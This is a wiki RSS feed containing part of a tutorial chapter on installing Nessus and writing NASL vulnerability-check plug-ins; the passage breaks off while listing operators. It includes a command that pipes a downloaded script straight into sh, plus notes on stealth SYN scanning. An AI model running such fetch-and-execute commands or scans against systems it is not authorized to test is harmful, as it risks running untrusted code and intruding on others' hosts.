<?xml version="1.0" encoding="utf-8"?>
<?xml-stylesheet type="text/css" href="http://commons.oreilly.com/wiki/skins/common/feed.css?97"?>
<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/">
	<channel>
		<title>Network Security Tools/Modifying and Hacking Security Tools/Writing Plug-ins for Nessus - Revision history</title>
		<link>http://commons.oreilly.com/wiki/index.php?title=Network_Security_Tools/Modifying_and_Hacking_Security_Tools/Writing_Plug-ins_for_Nessus&amp;action=history</link>
		<description>Revision history for this page on the wiki</description>
		<language>en</language>
		<generator>MediaWiki 1.11.0</generator>
		<lastBuildDate>Mon, 20 May 2013 13:35:55 GMT</lastBuildDate>
		<item>
			<title>Docbook2Wiki: Initial conversion from Docbook</title>
			<link>http://commons.oreilly.com/wiki/index.php?title=Network_Security_Tools/Modifying_and_Hacking_Security_Tools/Writing_Plug-ins_for_Nessus&amp;diff=9243&amp;oldid=prev</link>
			<description>&lt;p&gt;Initial conversion from Docbook&lt;/p&gt;

			&lt;table style=&quot;background-color: white; color:black;&quot;&gt;
			&lt;col class='diff-marker' /&gt;
			&lt;col class='diff-content' /&gt;
			&lt;col class='diff-marker' /&gt;
			&lt;col class='diff-content' /&gt;
			&lt;tr&gt;
				&lt;td colspan='2' style=&quot;background-color: white; color:black;&quot;&gt;←Older revision&lt;/td&gt;
				&lt;td colspan='2' style=&quot;background-color: white; color:black;&quot;&gt;Revision as of 22:54, 11 March 2008&lt;/td&gt;
			&lt;/tr&gt;
		&lt;/table&gt;</description>
			<pubDate>Tue, 11 Mar 2008 22:54:01 GMT</pubDate>			<dc:creator>Docbook2Wiki</dc:creator>			<comments>http://commons.oreilly.com/wiki/index.php/Talk:Network_Security_Tools/Modifying_and_Hacking_Security_Tools/Writing_Plug-ins_for_Nessus</comments>		</item>
		<item>
			<title>Docbook2Wiki: Initial conversion from Docbook</title>
			<link>http://commons.oreilly.com/wiki/index.php?title=Network_Security_Tools/Modifying_and_Hacking_Security_Tools/Writing_Plug-ins_for_Nessus&amp;diff=8329&amp;oldid=prev</link>
			<description>&lt;p&gt;Initial conversion from Docbook&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;{{Network Security Tools/TOC}}&lt;br /&gt;
Software vulnerabilities are being discovered and announced more quickly than ever before. Every time a security advisory goes public, organizations that use the affected software must rush to install vendor-issued patches before their networks are compromised. The ease of finding exploits on the Internet today has enabled a casual user with few skills to launch attacks and compromise the networks of major corporations. It is therefore vital for anyone with hosts connected to the Internet to perform routine audits to detect unpatched remote vulnerabilities. Network security assessment tools such as Nessus can automatically detect such vulnerabilities.&lt;br /&gt;
&lt;br /&gt;
Nessus is a free and open source vulnerability scanner distributed under the GNU General Public License (GPL). The Nessus Attack Scripting Language (NASL) has been specifically designed to make it easy for people to write their own vulnerability checks. An organization might want to quickly scan for a vulnerability that is known to exist in a custom or third-party application, and that organization can use NASL to do exactly that. Provided you have had some exposure to programming, this chapter will teach you NASL from scratch and show you how to write your own plug-ins for Nessus.&lt;br /&gt;
&lt;br /&gt;
== The Nessus Architecture ==&lt;br /&gt;
&lt;br /&gt;
Nessus is based upon a client-server model. The Nessus server, &amp;lt;tt&amp;gt;nessusd&amp;lt;/tt&amp;gt;, is responsible for performing the actual vulnerability tests. The Nessus server listens for incoming connections from Nessus clients that end users use to configure and launch specific scans. Nessus clients must authenticate to the server before they are allowed to launch scans. This architecture makes it easy to administer the Nessus installations.&lt;br /&gt;
&lt;br /&gt;
You can and should use NASL to write Nessus plug-ins. Another alternative is to use the C programming language, but this is strongly discouraged. C plug-ins are not as portable as NASL plug-ins, and you must recompile them for different architectures. NASL was designed to make life easier for those who want to write Nessus plug-ins, so you should use it to do so whenever possible.&lt;br /&gt;
&lt;br /&gt;
== Installing Nessus ==&lt;br /&gt;
&lt;br /&gt;
You can install the Nessus server on Unix- and Linux-compatible systems. The easiest way to install Nessus is to run the following command:&lt;br /&gt;
&lt;br /&gt;
 [notroot]$ '''&amp;lt;nowiki&amp;gt;lynx -source http://install.nessus.org | sh&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
             &lt;br /&gt;
&lt;br /&gt;
This command downloads the file served by ''http://install.nessus.org/'' and runs it using the &amp;lt;tt&amp;gt;sh&amp;lt;/tt&amp;gt; interpreter. If you want to see the contents of the file that is executed, simply point your web browser to ''http://install.nessus.org/''.&lt;br /&gt;
&lt;br /&gt;
If you don't want to run a shell script from a web site, issue the build commands yourself. Nessus source code is available at ''http://nessus.org/download/''. First, install &amp;lt;tt&amp;gt;nessus-libraries&amp;lt;/tt&amp;gt;:&lt;br /&gt;
&lt;br /&gt;
 [notroot]$ '''tar zxvf nessus-libraries-x.y.z.tar.gz'''&lt;br /&gt;
 [notroot]$ '''cd nessus-libraries'''&lt;br /&gt;
 [notroot]$ '''./configure'''&lt;br /&gt;
 [notroot]''' make'''&lt;br /&gt;
 [root]# '''make install'''&lt;br /&gt;
             &lt;br /&gt;
&lt;br /&gt;
Next, install &amp;lt;tt&amp;gt;libnasl&amp;lt;/tt&amp;gt;:&lt;br /&gt;
&lt;br /&gt;
 [notroot]$ '''tar zxvf libnasl-x.y.z.tar.gz'''&lt;br /&gt;
 [notroot]$ '''cd libnasl'''&lt;br /&gt;
 [notroot]$ '''./configure'''&lt;br /&gt;
 [notroot]$ '''make'''&lt;br /&gt;
 [root]# '''make install'''&lt;br /&gt;
 [root]# '''ldconfig'''&lt;br /&gt;
             &lt;br /&gt;
&lt;br /&gt;
Then, install &amp;lt;tt&amp;gt;nessus-core&amp;lt;/tt&amp;gt;:&lt;br /&gt;
&lt;br /&gt;
 [notroot]$ '''tar zxvf nessus-core.x.y.z.tar.gz '''&lt;br /&gt;
 [notroot]$ '''cd nessus-core [notroot]$ ./configure'''&lt;br /&gt;
 [notroot]$ '''make '''&lt;br /&gt;
 [root]# '''make install'''&lt;br /&gt;
             &lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;tip&amp;quot;&amp;gt;&lt;br /&gt;
'''Tip'''&lt;br /&gt;
&lt;br /&gt;
If you are installing &amp;lt;tt&amp;gt;nessus-core&amp;lt;/tt&amp;gt; on a server that does not have the GTK libraries and you don't need the Nessus GUI client, run &amp;lt;tt&amp;gt;./configure&amp;lt;/tt&amp;gt; with the &amp;lt;tt&amp;gt;--disable-gtk&amp;lt;/tt&amp;gt; option.&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Using Nessus ==&lt;br /&gt;
&lt;br /&gt;
First, start the Nessus server:&lt;br /&gt;
&lt;br /&gt;
 [root]# '''nessusd &amp;amp;'''&lt;br /&gt;
             &lt;br /&gt;
&lt;br /&gt;
Before you can connect to the server, you need to add a Nessus user . Do this by executing the &amp;lt;tt&amp;gt;nessus-adduser&amp;lt;/tt&amp;gt; executable. Note that Nessus is responsible for authenticating and authoring its users, so a Nessus user has no connection with a Unix or Linux user account. Next, run the &amp;lt;tt&amp;gt;nessus&amp;lt;/tt&amp;gt; executable from the host on which you installed Nessus or on a remote host that will connect to the Nessus server.&lt;br /&gt;
&lt;br /&gt;
Make sure you select the &amp;quot;Nessusd host&amp;quot; tab, as shown in [[Network Security Tools/Modifying and Hacking Security Tools/Writing Plug-ins for Nessus#networkst-CHP-1-FIG-1|Figure 1-1]]. Input the IP address or hostname of the host where the Nessus server is running, along with the login information as applicable to the Nessus user you created. Click the &amp;quot;Log in&amp;quot; button to connect to the Nessus server.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div id=&amp;quot;networkst-CHP-1-FIG-1&amp;quot;&amp;gt;&lt;br /&gt;
'''Figure 1-1. Logging in to the Nessus server using the GUI client'''&lt;br /&gt;
&lt;br /&gt;
[[Image:Network Security Tools_I_1_tt9.png|Logging in to the Nessus server using the GUI client]]&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Next, select the Plugins tab to look at the different options available. For example, select &amp;quot;CGI abuses&amp;quot; from the &amp;quot;Plugin selection&amp;quot; list, and you should see a list of plug-ins available to you, as shown in [[Network Security Tools/Modifying and Hacking Security Tools/Writing Plug-ins for Nessus#networkst-CHP-1-FIG-2|Figure 1-2]].&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div id=&amp;quot;networkst-CHP-1-FIG-2&amp;quot;&amp;gt;&lt;br /&gt;
'''Figure 1-2. Selecting Nessus plug-ins'''&lt;br /&gt;
&lt;br /&gt;
[[Image:Network Security Tools_I_1_tt10.png|Selecting Nessus plug-ins]]&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The &amp;quot;Enable all but dangerous plugins&amp;quot; button disables plug-ins known to crash remote services. Also take a look at the scans listed under the Denial of Service family. Because these plug-ins perform tests that can cause remote hosts or services to crash, it is a good idea to uncheck these boxes when scanning hosts that provide critical services.&lt;br /&gt;
&lt;br /&gt;
Use the Filter... button to search for specific plug-ins. For example, you can search for vulnerability checks that have a certain word in their description, or you can search by the Common Vulnerabilities and Exposures (CVE) name of a specific vulnerability. The CVE database is available at ''http://www.cve.mitre.org/cve/index.html''. It is up to the author of each specific vulnerability-check plug-in to make sure she provides all appropriate information and to ensure that the plug-in is placed under the proper category. As you might note by looking at the descriptions of some of the vulnerability checks, some plug-in authors do not do a good job of filling in this information.&lt;br /&gt;
&lt;br /&gt;
Next, select the Prefs tab and you will be provided with a list of options, as presented in [[Network Security Tools/Modifying and Hacking Security Tools/Writing Plug-ins for Nessus#networkst-CHP-1-FIG-3|Figure 1-3]].&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div id=&amp;quot;networkst-CHP-1-FIG-3&amp;quot;&amp;gt;&lt;br /&gt;
'''Figure 1-3. Nessus preferences'''&lt;br /&gt;
&lt;br /&gt;
[[Image:Network Security Tools_I_1_tt11.png|Nessus preferences]]&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The Prefs tab contains a list of options that affect the way Nessus performs its scans. Most of the options are self-explanatory. One important preference is that of Nmap options. Nmap is one of the best port scanners available today, and Nessus can use it to port-scan target hosts (make sure to select Nmap in the &amp;quot;Scan options&amp;quot; tab). You can download Nmap from ''http://www.insecure.org/nmap/''.&lt;br /&gt;
&lt;br /&gt;
The &amp;quot;connect( )&amp;quot; TCP scanning option completes the three-way TCP handshake to identify open ports. This means services running on the ports scanned will likely log the connection attempts. A &amp;quot;SYN&amp;quot; scan does not complete the TCP handshake. It only sends a TCP packet with the &amp;lt;tt&amp;gt;SYN&amp;lt;/tt&amp;gt; flag set and waits for a response. If an RST packet is received as a response, the target host is deemed alive but the port is closed. If a TCP packet with both the &amp;lt;tt&amp;gt;SYN&amp;lt;/tt&amp;gt; and &amp;lt;tt&amp;gt;ACK&amp;lt;/tt&amp;gt; flags enabled is received, the port on the target host is noted to be listening for incoming connections. Because this method does not complete the TCP handshake, it is stealthier, so services running on that port will not detect it. Note that a firewall on the target host or before the host can skew the results.&lt;br /&gt;
&lt;br /&gt;
Select the &amp;quot;Scan options&amp;quot; tab and your Nessus client window should look similar to [[Network Security Tools/Modifying and Hacking Security Tools/Writing Plug-ins for Nessus#networkst-CHP-1-FIG-4|Figure 1-4]]. The &amp;quot;Port range&amp;quot; option allows you to specify what network ports to scan on the target hosts. TCP and UDP ports range from 1 to 65,535. Specify &amp;lt;tt&amp;gt;default&amp;lt;/tt&amp;gt; to instruct Nessus to scan the common network ports listed in the ''nessus-services'' text file. If you know the target host is listening on a nonstandard port, specify it. If Nessus does not scan for a specific port, it will never realize it is open, and this might cause real vulnerabilities to go undiscovered.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div id=&amp;quot;networkst-CHP-1-FIG-4&amp;quot;&amp;gt;&lt;br /&gt;
'''Figure 1-4. Nessus scan options'''&lt;br /&gt;
&lt;br /&gt;
[[Image:Network Security Tools_I_1_tt12.png|Nessus scan options]]&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The &amp;quot;Safe checks&amp;quot; option causes Nessus to rely on version information from network service banners to determine if they are vulnerable. This can cause false positives, or it can cause specific vulnerabilities to go undiscovered, so use this option with care. Because enabling this option causes Nessus to perform less intrusive tests by relying on banners, this option is useful when scanning known hosts whose uptime is critical.&lt;br /&gt;
&lt;br /&gt;
The &amp;quot;Port scanner&amp;quot; section is where you select the type of port scan you want Nessus to perform. If most of the target hosts are known to be behind a firewall or do not respond to ICMP echo requests, uncheck the &amp;quot;Ping the remote host&amp;quot; option.&lt;br /&gt;
&lt;br /&gt;
In the &amp;quot;Target selection&amp;quot; tab, enter the IP address of the hosts you want to scan. Enter more than one IP address by separating each with a comma. You can also enter a range of IP addresses using a hyphen—for example, &amp;lt;tt&amp;gt;192.168.1.1-10&amp;lt;/tt&amp;gt;. Alternatively, you can place IP addresses in a text file and ask Nessus to read the file by clicking the &amp;quot;Read file...&amp;quot; button. Once you are done entering the target IP addresses and you are sure you are ready to go, click the &amp;quot;Start the scan&amp;quot; button to have Nessus begin scanning.&lt;br /&gt;
&lt;br /&gt;
When Nessus completes scanning for vulnerabilities, it presents you with a report, as shown in [[Network Security Tools/Modifying and Hacking Security Tools/Writing Plug-ins for Nessus#networkst-CHP-1-FIG-5|Figure 1-5]].&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div id=&amp;quot;networkst-CHP-1-FIG-5&amp;quot;&amp;gt;&lt;br /&gt;
'''Figure 1-5. Nessus report'''&lt;br /&gt;
&lt;br /&gt;
[[Image:Network Security Tools_I_1_tt13.png|Nessus report]]&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Click the &amp;quot;Save report...&amp;quot; button to save the report in one of various available formats (HTML, XML, LaTeX, ASCII, and Nessus BackEnd). The items with a lightbulb next to them are notes that provide information about a service or suggest best practices to help you better secure your hosts. The items with an exclamation mark beside them are findings that suggest a security warning when a mild security vulnerability is discovered. Items that have the no-entry symbol next to them suggest a severe security hole. The authors of individual security-check plug-ins decide if a given vulnerability is mild or severe. For more information, see the [[Network Security Tools/Modifying and Hacking Security Tools/Writing Plug-ins for Nessus#Reporting Functions|Section 1.12.4]] later in this chapter.&lt;br /&gt;
&lt;br /&gt;
== The NASL Interpreter ==&lt;br /&gt;
&lt;br /&gt;
Use the NASL interpreter, &amp;lt;tt&amp;gt;nasl&amp;lt;/tt&amp;gt;, to run and test NASL scripts via the command line. Invoke it with the -&amp;lt;tt&amp;gt;v&amp;lt;/tt&amp;gt; flag to see what version is installed on your system:&lt;br /&gt;
&lt;br /&gt;
 [notroot]$ '''nasl -v'''&lt;br /&gt;
 nasl 2.0.10&lt;br /&gt;
 &lt;br /&gt;
 Copyright (C) 1999 - 2003 Renaud Deraison &amp;lt;deraison@cvs.nessus.org&amp;gt;&lt;br /&gt;
 Copyright (C) 2002 - 2003 Michel Arboi &amp;lt;arboi@noos.fr&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
 See the license for details&lt;br /&gt;
&lt;br /&gt;
A vanilla Nessus installation comes packaged with NASL scripts that act as plug-ins for the Nessus scanner. The Nessus server executes these scripts to test for vulnerabilities, and you can find the scripts in the ''/usr/local/lib/ness/plugins/'' directory. You can execute these scripts directly by invoking them with &amp;lt;tt&amp;gt;nasl&amp;lt;/tt&amp;gt;. For example, the ''finger.nasl'' script checks to see if &amp;lt;tt&amp;gt;fingerd&amp;lt;/tt&amp;gt; is enabled on a remote host. Finger is a service that listens on port 79 by default, and you can use it to query information about users. To run this script against a host with the IP address of 192.168.1.1 using the NASL interpreter, execute the following:&lt;br /&gt;
&lt;br /&gt;
  [notroot]$''' nasl -t 192.168.1.1 finger.nasl'''&lt;br /&gt;
 ** WARNING : packet forgery will not work&lt;br /&gt;
 ** as NASL is not running as root&lt;br /&gt;
 &lt;br /&gt;
 The 'finger' service provides useful information to attackers, since it allows &lt;br /&gt;
 them to gain usernames, check if a machine is being used, and so on... &lt;br /&gt;
 Here is the output we obtained for 'root' : &lt;br /&gt;
 &lt;br /&gt;
 Login: root                             Name: System Administrator&lt;br /&gt;
 Directory: /var/root                    Shell: /bin/sh&lt;br /&gt;
 On since Wed  5 May 08:51 (CDT) on ttyp2 from 127.0.0.1:0.0&lt;br /&gt;
 No Mail.&lt;br /&gt;
 No Plan.&lt;br /&gt;
 &lt;br /&gt;
 Solution : comment out the 'finger' line in /etc/inetd.conf&lt;br /&gt;
 Risk factor : Low&lt;br /&gt;
 [6533] plug_set_key:send(0)['1 finger/active=1;&lt;br /&gt;
 '](0 out of 19): Socket operation on non-socket&lt;br /&gt;
&lt;br /&gt;
The preceding output is from the ''finger.nasl'' script, which was able to use the &amp;lt;tt&amp;gt;finger&amp;lt;/tt&amp;gt; server running on host 192.168.1.1 to find out information about the &amp;lt;tt&amp;gt;root&amp;lt;/tt&amp;gt; user.&lt;br /&gt;
&lt;br /&gt;
== Hello World ==&lt;br /&gt;
&lt;br /&gt;
What programming tutorial would be complete without a Hello World example? The following NASL script is just that:&lt;br /&gt;
&lt;br /&gt;
 display(&amp;quot;Hello World\n&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
Run the preceding line with the &amp;lt;tt&amp;gt;nasl&amp;lt;/tt&amp;gt; interpreter, and you will see the text &amp;lt;tt&amp;gt;Hello World&amp;lt;/tt&amp;gt; displayed.&lt;br /&gt;
&lt;br /&gt;
== Datatypes and Variables ==&lt;br /&gt;
&lt;br /&gt;
NASL allows for the assignment of values to variables that can be manipulated by a NASL script. Unlike a strongly typed language such as C, NASL does not require you to predefine a variable's type. In NASL, the variable type is determined automatically when a variable is assigned a specific value. NASL recognizes two valid datatypes: ''scalars'' and ''arrays''. A scalar can be a number or a string, while an array is a collection of scalars.&lt;br /&gt;
&lt;br /&gt;
=== Numbers ===&lt;br /&gt;
&lt;br /&gt;
NASL allows variables to hold integer values—for example, the number 11. It is also possible to assign numeric values to variables using a hexadecimal representation. You write hexadecimal numbers in NASL using a leading &amp;quot;0x&amp;quot; prefix. For example, the hexadecimal number 0x1b holds the value 27 when represented as an integer in base-10 notation. Type the following script into a file:&lt;br /&gt;
&lt;br /&gt;
 h=0x1b;&lt;br /&gt;
 display (&amp;quot;The value of h is &amp;quot;,h,&amp;quot;\n&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
Now run it using the NASL interpreter to see the output:&lt;br /&gt;
&lt;br /&gt;
 [notroot]$''' nasl hex.nasl'''&lt;br /&gt;
 The value of h is 27&lt;br /&gt;
&lt;br /&gt;
It is also possible to input numerical values in octal notation form, which uses base- 8 notation by placing a leading &amp;quot;0&amp;quot; prefix. For example, the &amp;lt;tt&amp;gt;x&amp;lt;/tt&amp;gt; and &amp;lt;tt&amp;gt;y&amp;lt;/tt&amp;gt; are equivalent in the following example:&lt;br /&gt;
&lt;br /&gt;
 x=014; #octal&lt;br /&gt;
 y=12; #decimal&lt;br /&gt;
&lt;br /&gt;
=== Strings ===&lt;br /&gt;
&lt;br /&gt;
A ''string'' is a collection of characters. &amp;lt;tt&amp;gt;abcdefg&amp;lt;/tt&amp;gt;, &amp;lt;tt&amp;gt;Hello&amp;lt;/tt&amp;gt; &amp;lt;tt&amp;gt;World&amp;lt;/tt&amp;gt;, and &amp;lt;tt&amp;gt;Boeing&amp;lt;/tt&amp;gt; &amp;lt;tt&amp;gt;747&amp;lt;/tt&amp;gt; are all examples of strings. Consider the following NASL script:&lt;br /&gt;
&lt;br /&gt;
 mystring=&amp;quot;Hello. I am a string!\n&amp;quot;;&lt;br /&gt;
 display(mystring);&lt;br /&gt;
&lt;br /&gt;
The &amp;lt;tt&amp;gt;\n&amp;lt;/tt&amp;gt; at the end of &amp;lt;tt&amp;gt;mystring&amp;lt;/tt&amp;gt; is an escape character and is equivalent to a newline character. [[Network Security Tools/Modifying and Hacking Security Tools/Writing Plug-ins for Nessus#networkst-CHP-1-TABLE-1|Table 1-1]] lists common escape characters applicable to NASL.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div id=&amp;quot;networkst-CHP-1-TABLE-1&amp;quot;&amp;gt;&lt;br /&gt;
'''Table 1-1. Escape characters'''&lt;br /&gt;
&lt;br /&gt;
{| border=&amp;quot;1&amp;quot; &lt;br /&gt;
|-&lt;br /&gt;
! Escape character !! Description&lt;br /&gt;
|-&lt;br /&gt;
| &lt;br /&gt;
&lt;br /&gt;
 \'&lt;br /&gt;
| Single quote.&lt;br /&gt;
|-&lt;br /&gt;
| &lt;br /&gt;
&lt;br /&gt;
 \&amp;quot;&lt;br /&gt;
| Double quote.&lt;br /&gt;
|-&lt;br /&gt;
| &lt;br /&gt;
&lt;br /&gt;
 \\&lt;br /&gt;
| Backslash.&lt;br /&gt;
|-&lt;br /&gt;
| &lt;br /&gt;
&lt;br /&gt;
 \r&lt;br /&gt;
| Line feed.&lt;br /&gt;
|-&lt;br /&gt;
| &lt;br /&gt;
&lt;br /&gt;
 \n&lt;br /&gt;
| Newline.&lt;br /&gt;
|-&lt;br /&gt;
| &lt;br /&gt;
&lt;br /&gt;
 \t&lt;br /&gt;
| Horizontal tab.&lt;br /&gt;
|-&lt;br /&gt;
| &lt;br /&gt;
&lt;br /&gt;
 \x(integer)&lt;br /&gt;
| ASCII equivalent. For example, &amp;lt;tt&amp;gt;\x7A&amp;lt;/tt&amp;gt; will be converted to &amp;lt;tt&amp;gt;z&amp;lt;/tt&amp;gt;.&lt;br /&gt;
|-&lt;br /&gt;
| &lt;br /&gt;
&lt;br /&gt;
 \v&lt;br /&gt;
| Vertical tab.&lt;br /&gt;
|}&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Note that a string inside double quotes (&amp;quot;) is left as is. Therefore, if you define a string using double quotes, escape sequences will not be translated. Also note that the &amp;lt;tt&amp;gt;display( )&amp;lt;/tt&amp;gt; function calls the &amp;lt;tt&amp;gt;string( )&amp;lt;/tt&amp;gt; function before displaying data on the console, and it is the &amp;lt;tt&amp;gt;string( )&amp;lt;/tt&amp;gt; function that converts the escape sequences. That is why our escape sequences are translated in the preceding examples even though we define them using double quotes.&lt;br /&gt;
&lt;br /&gt;
=== Arrays and Hashes ===&lt;br /&gt;
&lt;br /&gt;
An ''array'' is a collection of numbers or strings that can be indexed using a numeric subscript. Consider the following NASL script:&lt;br /&gt;
&lt;br /&gt;
 myarray=make_list(1,&amp;quot;two&amp;quot;);&lt;br /&gt;
 display(&amp;quot;The value of the first item is &amp;quot;,myarray[0],&amp;quot; \n&amp;quot;);&lt;br /&gt;
 display(&amp;quot;The value of the second item is &amp;quot;,myarray[1],&amp;quot; \n&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
The script displays the following when executed:&lt;br /&gt;
&lt;br /&gt;
 The value of the first item is 1&lt;br /&gt;
 The value of the second item is two&lt;br /&gt;
&lt;br /&gt;
Notice that the array subscripts begin at 0, and that is why the first element is obtained using the &amp;lt;tt&amp;gt;[0]&amp;lt;/tt&amp;gt; subscript.&lt;br /&gt;
&lt;br /&gt;
Like arrays, ''hashes'' are also collections of numbers or strings. However, elements in hashes have a key value associated with them that can be used to obtain the element. You can use the &amp;lt;tt&amp;gt;make_array( )&amp;lt;/tt&amp;gt; function call to define a hash. Because every element must have an associated key value, the function call requires an even number of arguments. The following is a definition of a hash that contains port numbers for the Telnet protocol (port 23) and HTTP (port 80):&lt;br /&gt;
&lt;br /&gt;
 myports=make_array('telnet',23,'http',80);&lt;br /&gt;
&lt;br /&gt;
Now, &amp;lt;tt&amp;gt;myports['telnet']&amp;lt;/tt&amp;gt; gives you the value of &amp;lt;tt&amp;gt;23&amp;lt;/tt&amp;gt;, while &amp;lt;tt&amp;gt;myports['http']&amp;lt;/tt&amp;gt; evaluates to &amp;lt;tt&amp;gt;80&amp;lt;/tt&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
=== Local and Global Variables ===&lt;br /&gt;
&lt;br /&gt;
Variables exist only within the blocks in which they are defined. A ''block''is a collection of statements enclosed by special statements such as loops and function calls. For example, if you define a variable within a particular function call, it will not exist when the function call returns. At times, it is necessary to define variables that should exist globally; in such cases you should use &amp;lt;tt&amp;gt;global_var&amp;lt;/tt&amp;gt; to define them:&lt;br /&gt;
&lt;br /&gt;
 global_var myglobalvariable;&lt;br /&gt;
&lt;br /&gt;
Variables are local by default. You can also use &amp;lt;tt&amp;gt;local_var&amp;lt;/tt&amp;gt; to state this explicitly.&lt;br /&gt;
&lt;br /&gt;
== Operators ==&lt;br /&gt;
&lt;br /&gt;
NASL provides arithmetic, comparison, and assignment operators. These operators are explained in the following sections.&lt;br /&gt;
&lt;br /&gt;
=== Arithmetic Operators ===&lt;br /&gt;
&lt;br /&gt;
Here are the common arithmetic operators:&lt;br /&gt;
&lt;br /&gt;
;&amp;lt;tt&amp;gt;+&amp;lt;/tt&amp;gt;&lt;br /&gt;
: Used to add numbers. It can also be used to perform string concatenation.&lt;br /&gt;
;-&lt;br /&gt;
: Used to perform subtraction. It can also be used to perform string subtraction. For example, '&amp;lt;tt&amp;gt;cat, dog, mouse' - ', dog&amp;lt;/tt&amp;gt;' results in the string '&amp;lt;tt&amp;gt;cat, mouse&amp;lt;/tt&amp;gt;'.&lt;br /&gt;
;&amp;lt;tt&amp;gt;*&amp;lt;/tt&amp;gt;&lt;br /&gt;
: Used to multiply numbers.&lt;br /&gt;
;&amp;lt;tt&amp;gt;/&amp;lt;/tt&amp;gt;&lt;br /&gt;
: Used to divide numbers. Note that NASL will return a 0 if you try to divide by zero.&lt;br /&gt;
;&amp;lt;tt&amp;gt;%&amp;lt;/tt&amp;gt;&lt;br /&gt;
: Used to perform a modulo operation. For example, &amp;lt;tt&amp;gt;10%3&amp;lt;/tt&amp;gt; computes to 1.&lt;br /&gt;
;&amp;lt;tt&amp;gt;**&amp;lt;/tt&amp;gt;&lt;br /&gt;
: Used to perform exponentiation. For example, &amp;lt;tt&amp;gt;2**3&amp;lt;/tt&amp;gt; computes to 8.&lt;br /&gt;
;&amp;lt;tt&amp;gt;++&amp;lt;/tt&amp;gt;&lt;br /&gt;
: Used to increment a variable's value by 1. When a variable is prefixed by this operator (example: &amp;lt;tt&amp;gt;++c&amp;lt;/tt&amp;gt;), its value is incremented before it is evaluated. When a variable is post-fixed by this operator (example: &amp;lt;tt&amp;gt;c++&amp;lt;/tt&amp;gt;), its value is incremented after it is evaluated.&lt;br /&gt;
;—&lt;br /&gt;
: Used to decrement a variable's value by 1. When a variable is prefixed by this operator (example: &amp;lt;tt&amp;gt;--c&amp;lt;/tt&amp;gt;), its value is decremented before it is evaluated. When a variable is post-fixed by this operator (example: &amp;lt;tt&amp;gt;c--&amp;lt;/tt&amp;gt;), its value is decremented after it is evaluated.&lt;br /&gt;
&lt;br /&gt;
=== Comparison Operators ===&lt;br /&gt;
&lt;br /&gt;
Here are the common comparison operators:&lt;br /&gt;
&lt;br /&gt;
;&amp;lt;tt&amp;gt;&amp;gt;&amp;lt;/tt&amp;gt;&lt;br /&gt;
: Used to test whether a given value is greater than the other.&lt;br /&gt;
;&amp;lt;tt&amp;gt;&amp;gt;=&amp;lt;/tt&amp;gt;&lt;br /&gt;
: Used to test whether a given value is greater than or equal to the other.&lt;br /&gt;
;&amp;lt;tt&amp;gt;&amp;lt;&amp;lt;/tt&amp;gt;&lt;br /&gt;
: Used to test whether a given value is less than the other.&lt;br /&gt;
;&amp;lt;tt&amp;gt;&amp;lt;=&amp;lt;/tt&amp;gt;&lt;br /&gt;
: Used to test whether a given value is less than or equal to the other.&lt;br /&gt;
;&amp;lt;tt&amp;gt;==&amp;lt;/tt&amp;gt;&lt;br /&gt;
: Used to test whether a given value is equal to the other.&lt;br /&gt;
;&amp;lt;tt&amp;gt;!=&amp;lt;/tt&amp;gt;&lt;br /&gt;
: Used to test whether a given value is not equal to the other.&lt;br /&gt;
;&amp;lt;tt&amp;gt;&amp;gt;&amp;lt;&amp;lt;/tt&amp;gt;&lt;br /&gt;
: Used to test whether a given substring exists within a string. For example, '&amp;lt;tt&amp;gt;123'&amp;gt;&amp;lt;'abcd123def&amp;lt;/tt&amp;gt;' evaluates to &amp;lt;tt&amp;gt;TRUE&amp;lt;/tt&amp;gt;.&lt;br /&gt;
;&amp;lt;tt&amp;gt;&amp;gt;!&amp;lt;&amp;lt;/tt&amp;gt;&lt;br /&gt;
: Used to test whether a given substring does not exist within a string. In this case, '&amp;lt;tt&amp;gt;123'&amp;gt;!&amp;lt;'abcd123def&amp;lt;/tt&amp;gt;' evaluates to &amp;lt;tt&amp;gt;FALSE&amp;lt;/tt&amp;gt;.&lt;br /&gt;
;&amp;lt;tt&amp;gt;=~&amp;lt;/tt&amp;gt;&lt;br /&gt;
: Used to match a regular expression. Using this operator is similar to calling the &amp;lt;tt&amp;gt;ereg( )&amp;lt;/tt&amp;gt; function call, which performs a similar operation. For example, the statement &amp;lt;tt&amp;gt;str =~ '^[GET / HTTP/1.0\r\n\r\n][.]*')&amp;lt;/tt&amp;gt; evaluates to &amp;lt;tt&amp;gt;TRUE&amp;lt;/tt&amp;gt; only if &amp;lt;tt&amp;gt;str&amp;lt;/tt&amp;gt; begins with the string &amp;lt;tt&amp;gt;GET / HTTP/1.0\r\n\r\n&amp;lt;/tt&amp;gt;.&lt;br /&gt;
;&amp;lt;tt&amp;gt;!~&amp;lt;/tt&amp;gt;&lt;br /&gt;
: Used to test whether a regular expression does ''not'' match. It is the opposite of the &amp;lt;tt&amp;gt;=~&amp;lt;/tt&amp;gt; operator.&lt;br /&gt;
;&amp;lt;tt&amp;gt;[]&amp;lt;/tt&amp;gt;&lt;br /&gt;
